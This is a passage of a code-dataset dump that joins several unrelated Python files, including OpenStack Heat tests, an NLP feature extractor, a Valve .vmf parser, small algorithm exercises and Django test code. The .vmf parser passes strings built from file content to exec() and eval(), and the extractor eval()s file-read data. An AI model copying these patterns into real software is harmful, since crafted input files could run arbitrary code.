KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n\nimport os\n\nfrom flameclient import flame\nfrom flameclient.tests.fixtures import FIXTURES_DIR\nfrom flameclient.tests import unittest\nfrom flameclient.tests.utils import get_mocked_openstackcloud\n\n\nclass TestFlame(unittest.TestCase):\n def setUp(self):\n self.conn = get_mocked_openstackcloud()\n\n def test_flame(self):\n res_file = os.path.join(FIXTURES_DIR, 'results/flame.yaml')\n generator = flame.TemplateGenerator(\n connection=self.conn,\n options=dict(\n no_threads=True\n )\n )\n generator.extract_data()\n with open(res_file) as fp:\n result = fp.read()\n self.assertEqual(generator.heat_template_and_data(), result)\n\n def test_flame_adoption_data(self):\n res_file = os.path.join(\n FIXTURES_DIR, 'results/flame_adoption_data.yaml'\n )\n generator = flame.TemplateGenerator(\n connection=self.conn,\n options=dict(\n no_threads=True,\n generate_adoption_data=True\n )\n )\n generator.extract_data()\n with open(res_file) as fp:\n result = fp.read()\n self.assertEqual(generator.heat_template_and_data(), result)\n\n def test_flame_constraints(self):\n res_file = os.path.join(FIXTURES_DIR, 'results/flame_constraints.yaml')\n generator = flame.TemplateGenerator(\n connection=self.conn,\n options=dict(\n no_threads=True,\n include_constraints=True\n )\n )\n generator.extract_data()\n with open(res_file) as fp:\n result = fp.read()\n self.assertEqual(generator.heat_template_and_data(), result)\n\n def test_flame_extract_ports(self):\n res_file = os.path.join(\n FIXTURES_DIR, 'results/flame_extract_ports.yaml'\n )\n generator = flame.TemplateGenerator(\n connection=self.conn,\n options=dict(\n no_threads=True,\n extract_ports=True\n )\n )\n generator.extract_data()\n with open(res_file) as fp:\n result = fp.read()\n self.assertEqual(generator.heat_template_and_data(), result)\n\n def test_flame_constraints_extract_ports(self):\n res_file = os.path.join(\n FIXTURES_DIR, 'results/flame_constraints_extract_ports.yaml'\n )\n generator = flame.TemplateGenerator(\n connection=self.conn,\n options=dict(\n no_threads=True,\n extract_ports=True,\n include_constraints=True\n )\n )\n generator.extract_data()\n with open(res_file) as fp:\n result = fp.read()\n self.assertEqual(generator.heat_template_and_data(), result)\n","sub_path":"flameclient/tests/test_flame.py","file_name":"test_flame.py","file_ext":"py","file_size_in_byte":4015,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"289713834","text":"# -*- coding: utf-8 -*-\nu\"\"\"méthodes pour extraire les features/labels à partir du dump.\"\"\"\n\nfrom nltk.corpus import sentiwordnet as swn\n\nimport re\nimport os\nimport sys\nimport nltk\nimport numpy as np\n\nMULTILABEL = ('B-evaluation', 'B-affect', 'I-evaluation', 'I-affect',\n 'B-source', 'I-source', 'B-target', 'I-target')\nMORPHY_TAG = {'NN': 'n', 'JJ': 'a', 'VB': 'v', 'RB': 'r'}\nHIERARCHY = {'I-attitude_positive': 1, 'B-attitude_positive': 2, 'I-attitude_negative': 3, 'B-attitude_negative': 4, 'I-source': 5, 'B-source': 6,\n 'I-target': 7, 'B-target': 8, 'O': 9}\nD_PATH = '/home/lucasclaude3/Documents/Stage_Telecom/'\n\n\n\"\"\" Peut être le module en apparence le plus bordelique à cause de sa structure\nhierarchique. Il permet d'extraire les features et les labels a partir des dump.\nPour bien comprendre ce qui se passe il faut partir de \"exctrat2CRFsuite\" et\nremonter à chaque fois qu'il y a des appels de fonction.\n\nTu retrouveras aussi \"count_labels\" et \"stats_labels\" qui permettent de compter\nle nombre d'occurences des labels et de produire les stats dessus.\"\"\"\n\n\ndef read_patterns(path):\n u\"\"\"Lit les patterns détectés par les règles syntaxiques de Caro.\n \n Retourne un dict avec les patterns comme cles.\n \"\"\"\n dict_patterns = {}\n f = open(path, 'Ur')\n text = f.read()\n sents = text.split('\\n')\n for sent in sents:\n elements = sent.split(';')\n try:\n if elements[0] == 'session':\n continue\n \n sent = \" \".join(nltk.word_tokenize(elements[2]))\n if not dict_patterns.__contains__(sent):\n dict_patterns[sent] = nltk.word_tokenize(elements[4])\n except IndexError:\n print(\"End of patterns file\") \n return dict_patterns\n\nPATTERNS = read_patterns('patterns.csv')\n\n\ndef __merge_dicts(*dict_args):\n u\"\"\"Fusionne n'importe quel nombre de dict.\"\"\"\n z = {}\n for y in dict_args:\n z.update(y)\n return z\n\n\ndef __word2features(sent, i):\n u\"\"\"Features lexicaux et syntaxiques.\"\"\"\n word = sent[i][0].lower()\n postag = sent[i][1][:2]\n features = {\n 'bias': 1.0,\n 'word': word,\n 'postag': postag\n }\n if i > 0:\n word1 = sent[i-1][0].lower()\n postag1 = sent[i-1][1][:2]\n features.update({\n '-1:word': word1,\n '-1:postag': postag1\n })\n else:\n features['BOS']=1.0\n\n\n if i > 1:\n word1 = sent[i-2][0].lower()\n postag1 = sent[i-2][1][:2]\n features.update({\n '-2:word': word1,\n '-2:postag': postag1\n })\n else:\n features['B2OS']=1.0\n\n\n if i < len(sent)-1:\n word1 = sent[i+1][0].lower()\n postag1 = sent[i+1][1][:2]\n features.update({\n '+1:word': word1,\n '+1:postag': postag1\n })\n else:\n features['EOS']=1.0\n\n if i < len(sent)-2:\n word1 = sent[i+2][0].lower()\n postag1 = sent[i+2][1][:2]\n features.update({\n '+2:word': word1,\n '+2:postag': postag1\n })\n else:\n features['E2OS']=1.0\n\n\n boolVP = False\n for j in range(len(sent)):\n if sent[j][1][:2] == 'VB':\n boolVP = True\n features['phrase_type']='VP'\n if boolVP is False:\n features['phrase_type']='NP'\n\n try:\n tag_conversion = MORPHY_TAG[postag]\n synset = list(swn.senti_synsets(word, pos=tag_conversion))[0]\n polarity = [synset.pos_score(), synset.neg_score(), synset.obj_score()]\n features.update({\n 'synset.pos_score()': polarity[0],\n 'synset.neg_score()': polarity[1],\n 'synset.obj_score()': polarity[2]\n })\n except (KeyError, IndexError):\n pass\n \n return features\n\n\ndef __audio2features(audio, i):\n dict_pitch = eval(audio[i])\n result_pitch = {}\n for k, v in dict_pitch.items():\n if dict_pitch[k] != None:\n result_pitch[k] = v\n return result_pitch\n\n\ndef __rules2features(sent, i):\n result = {}\n formated_sent = \" \".join([sent[k][0] for k in range(len(sent))])\n if formated_sent in PATTERNS:\n result['inRule'] = 1.0\n target = PATTERNS[formated_sent]\n if sent[i][0] in target:\n result['inTarget'] = 1.0\n return result\n \n\ndef __sent2features(sent, audio, mfcc):\n u\"\"\"Choisir les types de features utilisés ici.\n \n Il n'y a qu'a fusionner les dict voulus.\n \"\"\"\n return [__merge_dicts(__word2features(sent, i),\n __audio2features(audio,i)) for i in range(len(sent))]\n\n\ndef __sent2label(sent, label):\n return [__decision(str_labels, label) for token, postag,\n str_labels in sent]\n\n\ndef __sent2tokens(sent):\n return [token for token, postag, label in sent]\n\n\ndef __decision(str_labels, label):\n list_labels = str_labels.split(\";\")\n if label == 'BIO':\n list_nb = [HIERARCHY[lab] for lab in list_labels]\n return \"\".join([k for k, v in HIERARCHY.items()\n if v == np.min(list_nb)])\n else:\n if \"I-\"+label in list_labels:\n return \"I-\"+label\n elif \"B-\"+label in list_labels:\n return \"B-\"+label\n else:\n return \"O\"\n\n\ndef text_sents(path):\n u\"\"\"Traite le texte.\"\"\"\n f = open(path, 'Ur')\n sents = f.read().split('\\n\\n\\n')\n sents_list = []\n for sent in sents:\n words = sent.split('\\n')\n words_list = []\n for word in words:\n features = tuple(word.split('\\t'))[:2]\n words_list.append(features)\n sents_list.append(words_list)\n return sents_list\n \n\ndef audio_sents(path):\n u\"\"\"Traite l'audio.\"\"\"\n f = open(path, 'Ur')\n sents = f.read().split('\\n\\n\\n')\n sents_list = []\n for sent in sents:\n words = sent.split('\\n')\n words_list = []\n for word in words:\n try:\n features = word.split('\\t')[1]\n if features == 'None':\n features = \"{}\"\n words_list.append(features)\n m = re.findall(r\"\\>|\\<|'|GONNA|WANNA\", word.split('\\t')[0])\n for k in range(len(m)):\n words_list.append(features)\n except IndexError:\n print('END OF FILE %s' % path[-3:])\n break\n sents_list.append(words_list)\n return sents_list \n\n\ndef extract2CRFsuite(path_text, path_audio, path_mfcc, label='BIO'):\n u\"\"\"PLUS IMPORTANTE.\n \n Extrait features et label pour une session\n à partir d'un dossier contenant les dump au format Conll\n \"\"\"\n text = nltk.corpus.conll2002.iob_sents(path_text)\n audio = audio_sents(path_audio)\n mfcc = audio_sents(path_mfcc) \n X = [__sent2features(s, t, u) for (s, t, u) in zip(text, audio, mfcc)]\n y = [__sent2label(s, label) for s in text]\n return X, y\n\n\ndef count_labels(path, dump_filename):\n u\"\"\"Compte le nombre d'occurrences des combinaisons de labels.\n\n path renvoie au dossier contenant les dump.\n dump_filename est le nom du fichier où seront stockés les stats.\n \"\"\"\n dict_multilabels = {}\n dict_cpt = {}\n for filename in os.listdir(path):\n if os.path.isdir(path+filename):\n continue\n sents = nltk.corpus.conll2002.iob_sents(path+filename)\n for sent in sents:\n for token, postag, str_labels in sent:\n set_labels = set(str_labels.split(\";\"))\n if set_labels not in dict_multilabels.values():\n i = len(dict_multilabels)\n dict_multilabels[i] = set_labels\n dict_cpt[i] = 1\n else:\n i = \"\".join([str(k) for k, v in dict_multilabels.items()\n if v == set_labels])\n dict_cpt[int(i)] += 1\n f = open(dump_filename, 'w')\n for j in range(len(dict_multilabels)):\n f.write(\"%s\\t%d\\n\" % (dict_multilabels[j], dict_cpt[j]))\n f.close()\n\n\ndef labels_stats(dump_filename, stats_filename):\n u\"\"\"Classe les labels par fréquence.\"\"\"\n f = open(dump_filename, 'r')\n occurrences = []\n total_wO = 0\n total_woO = 0\n dict_nb = {}\n while 1:\n line = f.readline()\n if line == \"\":\n break\n multi_lab, cpt = line.split(\"\\t\")\n occurrences.append((eval(multi_lab), int(cpt)))\n total_wO += int(cpt)\n if eval(multi_lab) == {'O'}:\n dict_nb[0] = int(cpt)\n else:\n total_woO += int(cpt)\n if len(eval(multi_lab)) not in dict_nb:\n dict_nb[len(eval(multi_lab))] = int(cpt)\n else:\n dict_nb[len(eval(multi_lab))] += int(cpt)\n f.close()\n ranking = sorted(occurrences, key=lambda data: data[1], reverse=True)\n f = open(stats_filename, 'w')\n f.write(\"labels\\toccurrences\\tfrequencies\\tfrequencies without O\\n\")\n for i in range(len(ranking)):\n if i == 0:\n f.write(\"%s\\t%d\\t%f\\n\" % (ranking[i][0],\n ranking[i][1],\n ranking[i][1]/total_wO * 100))\n else:\n f.write(\"%s\\t%d\\t%f\\t%f\\n\" % (ranking[i][0],\n ranking[i][1],\n ranking[i][1]/total_wO * 100,\n ranking[i][1]/total_woO * 100))\n f.write(\"\\nnb_labels\\toccurrences\\tfrequencies\\tfrequencies without O\\n\")\n for key in sorted(dict_nb):\n if key == 0:\n f.write(\"%s\\t%d\\t%f\\n\" % (key,\n dict_nb[key],\n dict_nb[key]/total_wO * 100))\n else:\n f.write(\"%s\\t%d\\t%f\\t%f\\n\" % (key,\n dict_nb[key],\n dict_nb[key]/total_wO * 100,\n dict_nb[key]/total_woO * 100))\n f.close()\n \nif __name__ == \"__main__\":\n count_labels(D_PATH+'Datasets/Semaine/all/dump_attitudeposneg_only/',\n D_PATH+'MonProjet/stats/labels_occurrences')\n labels_stats(D_PATH+'MonProjet/stats/labels_occurrences',\n D_PATH+'MonProjet/stats/labels_stats')\n","sub_path":"extraction.py","file_name":"extraction.py","file_ext":"py","file_size_in_byte":10306,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"492847139","text":"\r\n## NEIMA SCHAFI, LESSON 2 Assignment - Fibonacci Series Exercise\r\n\r\n###FIBONACCI series recursive function\r\ndef fibonacci(n):\r\n \"\"\"The recursive function that returns nth fibonacci value\"\"\"\r\n if n == 0:\r\n return 1\r\n elif n == 1:\r\n return 1\r\n else:\r\n return fibonacci(n-2) + fibonacci(n-1)\r\n\r\n###LUCAS series recursive function\r\ndef lucas(n):\r\n \"\"\"The recursive function that returns nth lucas value\"\"\"\r\n if n == 0:\r\n return 2\r\n elif n == 1:\r\n return 1\r\n else:\r\n return lucas(n-2) + lucas(n-1)\r\n\r\n###SUM_SERIES recurives function\r\n\"\"\"The recursive function that returns nth value of a sequence based on inputted optional variables x,y\"\"\"\r\ndef sum_series(n,x=0,y=1):\r\n if n == 0:\r\n return x ###1st number in series\r\n elif n == 1:\r\n return y ###2nd number in series\r\n else:\r\n return sum_series(n-2,x,y) + sum_series(n-1,x,y)\r\n\r\n###TEST BLOCK\r\n#check fibonacci() outputs correctly\r\nassert fibonacci(12) == 233 #Test to check that the 12th Fibonacci number is 233 using the recusive function fibonacci()\r\nassert fibonacci(0) == 1\r\n\r\n#check lucas() outputs correctly\r\nassert lucas(11) == 199\r\nassert lucas(4) == 7 #Test to check that the 4th Lucas number is 7 using the recusive function Lucas()\r\nassert lucas(0) == 2\r\n\r\n#check sum_series outputs correctly\r\nassert sum_series(11,2,1) == 199 #Test to check that passing in different optional variables results in correct outputted values from sum_series()\r\nassert sum_series(0,0,1) == 0\r\nassert sum_series(1,0,1) == 1\r\n","sub_path":"students/njschafi/Lesson2/series.py","file_name":"series.py","file_ext":"py","file_size_in_byte":1560,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"63865266","text":"\"\"\"Can unpack a variety of Valve text-formats including .vmt & the Client Schema\"\"\"\n#TODO: spot keys that appear more than once and pluralise\n## e.g. \"visgroupid\" \"7\"\\n\"visgroupid\" \"8\" = {'visgroupid': ['7', '8']}\n#TODO: Functions for handling the horrible visgroup system\nimport io\nimport textwrap\n\ndef pluralise(word):\n if word.endswith('f'): # self -> selves\n return word[:-1] + 'ves'\n elif word.endswith('y'): # body -> bodies\n return word[:-1] + 'ies'\n elif word.endswith('ex'): # vertex -> vertices\n return word[:-2] + 'ices'\n else: # side -> sides\n return word + 's'\n\ndef singularise(word):\n if word.endswith('ves'): # self <- selves\n return word[:-3] + 'f'\n elif word.endswith('ies'): # body <- bodies\n return word[:-3] + 'y'\n elif word.endswith('ices'): # vertex <- vertices\n return word[:-4] + 'ex'\n elif word.endswith('s'): # side <- sides\n return word[:-1]\n else: # assume word is already singular\n return word\n\nclass scope:\n \"\"\"Handles a string used to index a multi-dimensional dictionary, correctly reducing nested lists of dictionaries\"\"\"\n def __init__(self, strings=[]):\n self.strings = strings\n\n def __len__(self):\n \"\"\"Returns depth, ignoring plural indexes\"\"\"\n return len(filter(lambda x: isinstance(x, str), self.strings))\n\n def __repr__(self):\n \"\"\"Returns scope as a string that can index a deep dictionary\"\"\"\n scope_string = ''\n for string in self.strings:\n if isinstance(string, str):\n scope_string += f\"['{string}']\"\n elif isinstance(string, int):\n scope_string += f\"[{string}]\"\n return scope_string\n\n def add(self, new):\n self.strings.append(new)\n\n def reduce(self, count):\n for i in range(count):\n try:\n if isinstance(self.strings[-1], int):\n self.strings = self.strings[:-2]\n else:\n self.strings = self.strings[:-1]\n except:\n break\n\n\ndef namespace_from(text_file):\n \"\"\"String or .vmf file to nested namespace\"\"\"\n if isinstance(text_file, io.TextIOWrapper):\n file_iter = text_file.readlines()\n elif isinstance(text_file, str):\n file_iter = text_file.split('\\n')\n else:\n raise RuntimeError(f'Cannot construct dictionary from {type(text_file)}!')\n namespace_nest = namespace({})\n current_scope = scope([])\n previous_line = ''\n for line_number, line in enumerate(file_iter):\n try:\n new_namespace = namespace({'_line': line_number})\n line = line.rstrip('\\n')\n line = textwrap.shorten(line, width=200) # cleanup spacing, may break at 200+ chars\n if line == '' or line.startswith('//'): # ignore blank / comments\n continue\n elif line =='{': # START declaration\n current_keys = eval(f'namespace_nest{current_scope}.__dict__.keys()')\n plural = pluralise(previous_line)\n if previous_line in current_keys: # NEW plural\n exec(f'namespace_nest{current_scope}[plural] = [namespace_nest{current_scope}[previous_line]]')\n exec(f'namespace_nest{current_scope}.__dict__.pop(previous_line)')\n exec(f'namespace_nest{current_scope}[plural].append(new_namespace)')\n current_scope = scope([*current_scope.strings, plural, 1]) # why isn't this a method?\n elif plural in current_keys: # APPEND plural\n current_scope.add(plural)\n exec(f\"namespace_nest{current_scope}.append(new_namespace)\")\n current_scope.add(len(eval(f'namespace_nest{current_scope}')) - 1)\n else: # NEW singular\n current_scope.add(previous_line)\n exec(f'namespace_nest{current_scope} = new_namespace')\n elif line == '}': # END declaration\n current_scope.reduce(1)\n elif '\" \"' in line: # KEY VALUE\n key, value = line.split('\" \"')\n key = key.lstrip('\"')\n value = value.rstrip('\"')\n exec(f'namespace_nest{current_scope}[key] = value')\n elif line.count(' ') == 1:\n key, value = line.split()\n exec(f'namespace_nest{current_scope}[key] = value')\n previous_line = line.strip('\"')\n except Exception as exc: \n print(f'error on line {line_number:04d}:\\n{line}\\n{previous_line}')\n raise exc\n return namespace_nest\n\n \nclass namespace: # DUNDER METHODS ONLY!\n \"\"\"Nested Dicts -> Nested Objects\"\"\"\n def __init__(self, nested_dict):\n for key, value in nested_dict.items() if isinstance(nested_dict, dict) else nested_dict.__dict__.items():\n if isinstance(value, dict):\n self[key] = namespace(value)\n elif isinstance(value, list):\n self[key] = [namespace(i) for i in value]\n else:\n self[key] = value\n \n def __setitem__(self, index, value):\n setattr(self, str(index), value)\n \n def __getitem__(self, index):\n return self.__dict__[str(index)]\n\n def __iter__(self):\n return iter(self.__dict__)\n\n def __len__(self):\n return len(self.__dict__.keys())\n\n def __repr__(self):\n attrs = [a if ' ' not in a else f'\"{a}\"' for a in self.__dict__.keys()]\n return f\"namespace([{', '.join(attrs)}])\"\n\n def items(self): # fix for lines_from\n for k, v in self.__dict__.items():\n yield (k, v)\n\n\ndef dict_from(namespace_nest):\n out = dict()\n for key, value in namespace_nest.__dict__.items():\n if isinstance(value, namespace):\n out[key] = dict_from(value)\n elif isinstance(value, list):\n out[key] = [dict_from(i) for i in value]\n else:\n out[key] = value\n return out\n\n\ndef lines_from(_dict, tab_depth=0): # rethink & refactor\n '''Takes a nested dictionary (which may also contain lists, but not tuples)\nfrom this a series of strings resembling valve's text format used in .vmf files\nare generated approximately one line at a time'''\n tabs = '\\t' * tab_depth\n for key, value in _dict.items():\n if isinstance(value, (dict, namespace)): # another layer\n value = (value,)\n elif isinstance(value, list): # collection of plurals\n key = singularise(key)\n else: # key-value pair\n if key == '_line':\n continue\n yield f'{tabs}\"{key}\" \"{value}\"\\n'\n continue\n for item in value:\n yield f'{tabs}{key}\\n{tabs}' + '{\\n' # open into the next layer\n for line in lines_from(item, tab_depth + 1): # recurse down\n yield line\n if tab_depth > 0:\n yield '\\t' * (tab_depth - 1) + '}\\n' # close the layer\n\n\ndef export(_dict, outfile):\n \"\"\"Don't forget to close the file afterwards!\"\"\"\n print('Exporting {outfile.name} ... ', end='')\n for line in lines_from(_dict): # using a buffer to write in chunks may be wise\n outfile.write(line) # ''.join([line for line in lines_from(_dict)]) also works\n print('Done!')\n\n\ndef add_visgroups(vmf, visgroup_dict): # work in progress\n \"\"\"Add visgroups defined in a some object\"\"\"\n # FORMAT (TOP: [INNER1, INNER2: []])\n if 'visgroups' not in vmf:\n vmf['visgroups'] = []\n if 'visgroup' in vmf.visgroups:\n vmf.visgroups['visgroups'] = [visgroup]\n if 'visgroups' not in vmf.visgroups:\n vmf.visgroups['visgroups'] = []\n\n visgroups = vmf.visgroups.visgroups\n max_id = max([v.visgroupid for v in visgroups])\n\n def recurse(iterable):\n ...\n \n for v in visgroup_dict:\n max_id += 1\n ...\n \n\nif __name__ == \"__main__\":\n## from time import time\n## times = []\n## for i in range(16):\n## start = time()\n## # vmf = dict_from(open('mapsrc/test.vmf'))\n## # vmf = dict_from(open('mapsrc/test2.vmf'))\n## vmf = dict_from(open('mapsrc/sdk_pl_goldrush.vmf'))\n## time_taken = time() - start\n## print(f'import took {time_taken:.3f} seconds')\n## times.append(time_taken)\n## print(f'average time: {sum(times) / 16:.3f}')\n pass\n\n # filter(lambda x: x['material'] != 'TOOLS/TOOLSNODRAW' and x['material'] != 'TOOLS/TOOLSSKYBOX', all_sides)\n # [e['classname'] for e in vmf.dict['entities']]\n # all_ents_with_outputs = [e for e in vmf.entities if hasattr(e, 'connections')]\n # all_connections = [e.connections for e in all_ents_with_outputs]\n # #now add all referenced targetnames to list\n # #and create a top-down map of these ents\n","sub_path":"vmf_tool.py","file_name":"vmf_tool.py","file_ext":"py","file_size_in_byte":8806,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"94466332","text":"def coin_change_problem(coin_set, n):\n table = [0 for k in range(n + 1)]\n table[0] = 1\n for c in coin_set:\n for j in range(c,n+1):\n table[j] += table[j - c]\n return table[n]\n\ntotal, num = list(map(int, input().strip().split(\" \")))\ncoins = list(map(int, input().strip().split(\" \")))\n\nprint (coin_change_problem(coins, total))\n","sub_path":"Python/DynamicProgramming/coin_change_problem.py","file_name":"coin_change_problem.py","file_ext":"py","file_size_in_byte":355,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"327615439","text":"import numpy as np \nimport pandas as pd\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nimport datetime\nfrom tqdm import tqdm\nfrom dtaidistance import dtw\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.preprocessing import StandardScaler\n\n\ndef pd_setting(dataframe):\n dataframe.rename(columns = {'Unnamed: 0':'Date'}, inplace = True)\n dataframe['Date'] = dataframe.Date.apply(lambda x : datetime.datetime.strptime(x, '%Y-%m-%d') )\n dataframe = dataframe.set_index(['Date'])\n\n return dataframe\n\n\ndef adj_generate(df_corr, min_threshold = 0.9, max_threshold = 1):\n '''\n input : df_corr(dataframe representing correlation)\n output : dataframe with 0, 1 (connectivity)\n '''\n df_adj = df_corr.applymap(lambda x : 1 if (abs(x)>min_threshold) & (abs(x)/',front_update_course,name='front_update_course'),\n path('save_front_update_course//',save_front_update_course,name='save_front_update_course'),\n path('delete_front_update_course//', delete_front_update_course, name='delete_front_update_course'),\n\n path('front_projects/',front_projects,name='front_projects'),\n path('front_update_project//',front_update_project,name='front_update_project'),\n path('save_front_update_project//',save_front_update_project,name='save_front_update_project'),\n path('delete_front_update_project//', delete_front_update_project, name='delete_front_update_project'),\n\n path('front_students/', front_students, name='front_students'),\n path('front_students_html_list/', front_students_html_list, name='front_students_html_list'),\n\n path('front_programmers/', front_programmers, name='front_programmers'),\n\n]","sub_path":"center_of_programming/center_of_programming/superadmin/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2191,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"64420691","text":"from datetime import date, datetime, timedelta\n\nimport pytest\nfrom django.http import QueryDict\nfrom django.utils import timezone\n\nfrom data_browser import orm_fields\nfrom data_browser.orm_admin import OrmModel, get_fields_for_type\nfrom data_browser.query import BoundQuery, Query, QueryField, QueryFilter\nfrom data_browser.types import (\n ASC,\n DSC,\n BooleanType,\n DateTimeType,\n DateType,\n DurationType,\n HTMLType,\n IsNullType,\n MonthType,\n NumberChoiceType,\n NumberType,\n StringChoiceType,\n StringType,\n UnknownType,\n WeekDayType,\n YearType,\n)\n\nfrom .util import ANY\n\n\n@pytest.fixture\ndef query():\n return Query(\n \"app.model\",\n [\n QueryField(\"fa\", False, ASC, 1),\n QueryField(\"fd\", False, DSC, 0),\n QueryField(\"fn\"),\n ],\n [QueryFilter(\"bob\", \"equals\", \"fred\")],\n )\n\n\n@pytest.fixture\ndef orm_models():\n return {\n \"string\": OrmModel(get_fields_for_type(StringType)),\n \"number\": OrmModel(get_fields_for_type(NumberType)),\n \"app.model\": orm_fields.OrmModel(\n fields={\n \"fa\": orm_fields.OrmConcreteField(\n model_name=\"app.model\",\n name=\"fa\",\n pretty_name=\"fa\",\n type_=StringType,\n rel_name=StringType.name,\n ),\n \"fd\": orm_fields.OrmConcreteField(\n model_name=\"app.model\",\n name=\"fd\",\n pretty_name=\"fd\",\n type_=StringType,\n rel_name=StringType.name,\n ),\n \"fn\": orm_fields.OrmCalculatedField(\n model_name=\"app.model\", name=\"fn\", pretty_name=\"fn\", func=None\n ),\n \"bob\": orm_fields.OrmConcreteField(\n model_name=\"app.model\",\n name=\"bob\",\n pretty_name=\"bob\",\n type_=StringType,\n rel_name=StringType.name,\n ),\n \"num\": orm_fields.OrmConcreteField(\n model_name=\"app.model\",\n name=\"num\",\n pretty_name=\"num\",\n type_=NumberType,\n rel_name=NumberType.name,\n ),\n \"tom\": orm_fields.OrmFkField(\n model_name=\"app.model\",\n name=\"tom\",\n pretty_name=\"tom\",\n rel_name=\"app.Tom\",\n ),\n },\n admin=True,\n ),\n \"app.Tom\": orm_fields.OrmModel(\n fields={\n \"jones\": orm_fields.OrmConcreteField(\n model_name=\"app.Tom\",\n name=\"jones\",\n pretty_name=\"jones\",\n type_=StringType,\n rel_name=StringType.name,\n ),\n \"michael\": orm_fields.OrmFkField(\n model_name=\"app.Tom\",\n name=\"michael\",\n pretty_name=\"michael\",\n rel_name=\"app.Michael\",\n ),\n },\n admin=True,\n ),\n \"app.Michael\": orm_fields.OrmModel(\n fields={\n \"bolton\": orm_fields.OrmConcreteField(\n model_name=\"app.Michael\",\n name=\"bolton\",\n pretty_name=\"bolton\",\n type_=StringType,\n rel_name=StringType.name,\n )\n },\n admin=True,\n ),\n }\n\n\n@pytest.fixture\ndef bound_query(query, orm_models):\n return BoundQuery.bind(query, orm_models)\n\n\nclass TestQuery:\n def test_from_request(self, query):\n q = Query.from_request(\n \"app.model\", \"fa+1,fd-0,fn\", QueryDict(\"bob__equals=fred\")\n )\n assert q == query\n\n def test_from_request_duplicate_field(self, query):\n q = Query.from_request(\n \"app.model\", \"fa+1,fd-0,fn,&fa-2\", QueryDict(\"bob__equals=fred\")\n )\n assert q == query\n\n def test_from_request_with_limit(self, query):\n q = Query.from_request(\n \"app.model\", \"fa+1,fd-0,fn\", QueryDict(\"limit=123&bob__equals=fred\")\n )\n query.limit = 123\n assert q == query\n\n def test_from_request_with_bad_limit(self, query):\n q = Query.from_request(\n \"app.model\", \"fa+1,fd-0,fn\", QueryDict(\"limit=bob&bob__equals=fred\")\n )\n query.limit = 1000\n assert q == query\n\n def test_from_request_with_low_limit(self, query):\n q = Query.from_request(\n \"app.model\", \"fa+1,fd-0,fn\", QueryDict(\"limit=0&bob__equals=fred\")\n )\n query.limit = 1\n assert q == query\n\n def test_from_request_with_related_filter(self):\n q = Query.from_request(\"app.model\", \"\", QueryDict(\"bob__jones__equals=fred\"))\n assert q == Query(\n \"app.model\", [], [QueryFilter(\"bob__jones\", \"equals\", \"fred\")]\n )\n\n def test_from_request_with_missing(self):\n q = Query.from_request(\"app.model\", \",,\", QueryDict(\"\"))\n assert q == Query(\"app.model\", [], [])\n\n def test_from_request_filter_no_value(self):\n q = Query.from_request(\"app.model\", \"\", QueryDict(\"joe__equals=\"))\n assert q == Query(\"app.model\", [], [QueryFilter(\"joe\", \"equals\", \"\")])\n\n def test_from_request_filter_no_lookup(self):\n q = Query.from_request(\"app.model\", \"\", QueryDict(\"joe=tom\"))\n assert q == Query(\"app.model\", [], [])\n\n def test_from_request_filter_bad_lookup(self):\n q = Query.from_request(\"app.model\", \"\", QueryDict(\"joe__blah=123\"))\n assert q == Query(\"app.model\", [], [QueryFilter(\"joe\", \"blah\", \"123\")])\n\n def test_from_request_filter_no_name(self):\n q = Query.from_request(\"app.model\", \"\", QueryDict(\"=123\"))\n assert q == Query(\"app.model\", [], [])\n\n def test_from_request_field_no_name(self):\n q = Query.from_request(\"app.model\", \"+2\", QueryDict(\"\"))\n assert q == Query(\"app.model\", [QueryField(\"\", False, ASC, 2)], [])\n\n def test_from_request_field_no_priority(self):\n q = Query.from_request(\"app.model\", \"fn+\", QueryDict(\"\"))\n assert q == Query(\"app.model\", [QueryField(\"fn\")], [])\n\n def test_from_request_field_bad_priority(self):\n q = Query.from_request(\"app.model\", \"fn+x\", QueryDict(\"\"))\n assert q == Query(\"app.model\", [QueryField(\"fn\")], [])\n\n def test_from_request_field_pivoted(self):\n q = Query.from_request(\"app.model\", \"&fn\", QueryDict(\"\"))\n assert q == Query(\"app.model\", [QueryField(\"fn\", True)], [])\n\n def test_url(self, query):\n query.limit = 123\n assert (\n query.get_url(\"html\")\n == \"/data_browser/query/app.model/fa+1,fd-0,fn.html?bob__equals=fred&limit=123\"\n )\n\n def test_url_no_filters(self, query):\n query.filters = []\n assert (\n query.get_url(\"html\")\n == \"/data_browser/query/app.model/fa+1,fd-0,fn.html?limit=1000\"\n )\n\n\nclass TestBoundQuery:\n def test_fields(self, bound_query):\n assert [f.path for f in bound_query.fields] == [[\"fa\"], [\"fd\"], [\"fn\"]]\n\n def test_sort_fields(self, bound_query):\n assert [(f.path, f.direction, f.priority) for f in bound_query.sort_fields] == [\n ([\"fd\"], DSC, 0),\n ([\"fa\"], ASC, 1),\n ]\n\n def test_bad_field(self, orm_models):\n query = Query(\"app.model\", [QueryField(\"yata\")], [])\n bound_query = BoundQuery.bind(query, orm_models)\n assert [f.path for f in bound_query.fields] == []\n\n def test_bad_field_lookup(self, orm_models):\n query = Query(\"app.model\", [QueryField(\"fa__count__bob\")], [])\n bound_query = BoundQuery.bind(query, orm_models)\n assert [f.path for f in bound_query.fields] == []\n\n def test_bad_fk(self, orm_models):\n query = Query(\"app.model\", 